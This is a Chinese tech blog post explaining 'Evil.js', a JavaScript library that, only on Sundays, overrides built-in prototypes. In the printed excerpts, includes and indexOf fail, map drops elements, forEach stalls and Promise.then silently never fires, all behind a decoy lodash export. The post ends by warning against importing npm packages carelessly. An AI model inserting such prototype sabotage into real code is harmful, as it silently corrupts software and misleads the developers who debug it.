有人做了一个专毁996公司项目的JS库

Java技术江湖

共 3879字,需浏览 8分钟

 · 2022-08-29

背景

今天在我们前端巅峰的吃瓜群里面看到一个图

大致是说这个Evil.js是为了毁灭你的996公司而诞生的

他会让你的项目在周日的时候出现以下神奇的效果:

  • 当数组长度可以被7整除时,Array.includes 永远返回false。
  • Array.map 有5%概率会丢失最后一个元素。
  • Array.filter 的结果有5%的概率丢失最后一个元素。
  • Array.forEach 会卡死一段时间。
  • setTimeout 总是会比预期时间慢1秒才触发。
  • Promise.then 有10%概率不会触发。
  • JSON.stringify 有30%概率会把I(大写字母I)变成l(小写字母L)。
  • Date.getTime() 的结果总是会慢一个小时。
  • localStorage.getItem 有5%几率返回空字符串。
  • Math.random() 的取值范围改为0到1.1

这样你的公司项目在周日的时候便会出现意想不到的神奇效果。

我们来看看他是如何实现的

源码地址:https://github.com/wheatup/evil.js

大概只有150行

源码大概的一个结构是:

const lodash = typeof require !== 'undefined' ? require('lodash') : {};

((global)=>

//do something
})((0, eval)('this'));

var _ = lodash;
if (typeof module !== 'undefined') {
 // decoy export
 module.exports = _;
}

主要业务逻辑都是在IIFE中。

首先IIFE中会判断当前是否周日

 // 只有周日才注入,当周日产生bug时,工作日程序员进行debug时将不会进行复现
 // Skip if it's not Sunday
 if (new Date().getDay() !== 0) return;

通过重写数组的原型链上方法,includes方法当数组长度可以被7整除时,永远返回false



/**
  * If the array size is devidable by 7, this function aways fail
  * @zh 当数组长度可以被7整除时,本方法永远返回false
  */
 const _includes = Array.prototype.includes;
 const _indexOf = Array.prototype.indexOf;
 Array.prototype.includes = function (...args) {
  if (this.length % 7 !== 0) {
   return _includes.call(this, ...args);
  } else {
   return false;
  }
 };
 Array.prototype.indexOf = function (...args) {
  if (this.length % 7 !== 0) {
   return _indexOf.call(this, ...args);
  } else {
   return -1;
  }
 };

5%的几率让map方法丢失一个元素

/**
  * Array.map has 5% chance drop the last element
  * @zh Array.map方法的结果有5%几率丢失最后一个元素
  */
 const _map = Array.prototype.map;
 Array.prototype.map = function (...args) {
  result = _map.call(this, ...args);
  if (_rand() < 0.05) {
   result.length = Math.max(result.length - 1, 0);
  }
  return result;
 }

forEach方法会卡死一段时间(通过for循环阻塞)

/**
  * Array.forEach will will cause a significant lag
  * @zh Array.forEach会卡死一段时间
  */
 const _forEach = Array.prototype.forEach;
 Array.prototype.forEach = function(...args) {
  for(let i = 0; i <= 1e7; i++);
  return _forEach.call(this, ...args);
 }

最骚的是这个,Promise.then方法10%概率不会触发

/**
  * Promise.then has a 10% chance will not trigger
  * @zh Promise.then 有10%几率不会触发
  */
 const _then = Promise.prototype.then;
 Promise.prototype.then = function (...args) {
  if (_rand() < 0.1) {
   return new Promise(() => {});
  } else {
   return _then.call(this, ...args);
  }
 }

这简直会让你的项目无法开发和维护,无法定位问题。.then方法是整个ES6的异步核心API

结论

我们不要随便引入一个npm库,他如果修改原型上的方法可以做到攻击甚至有安全隐患。

另外,996 007是对打工人的压榨,每个人都应该有自己的生活


某程序员吐槽:提离职后领导开始演戏,假装不知道我工资低,对我进行挽留,怎么办?


答应我, 不要再用 if (obj != null) 判空了


专业的 Redis 可视化管理工具,支持跨平台,UI美呆了!


关注公众号【Java技术江湖】后回复“PDF”即可领取200+页的《Java工程师面试指南》

强烈推荐,几乎涵盖所有Java工程师必知必会的知识点,不管是复习还是面试,都很实用。



浏览 66
点赞
评论
收藏
分享

手机扫一扫分享

举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

举报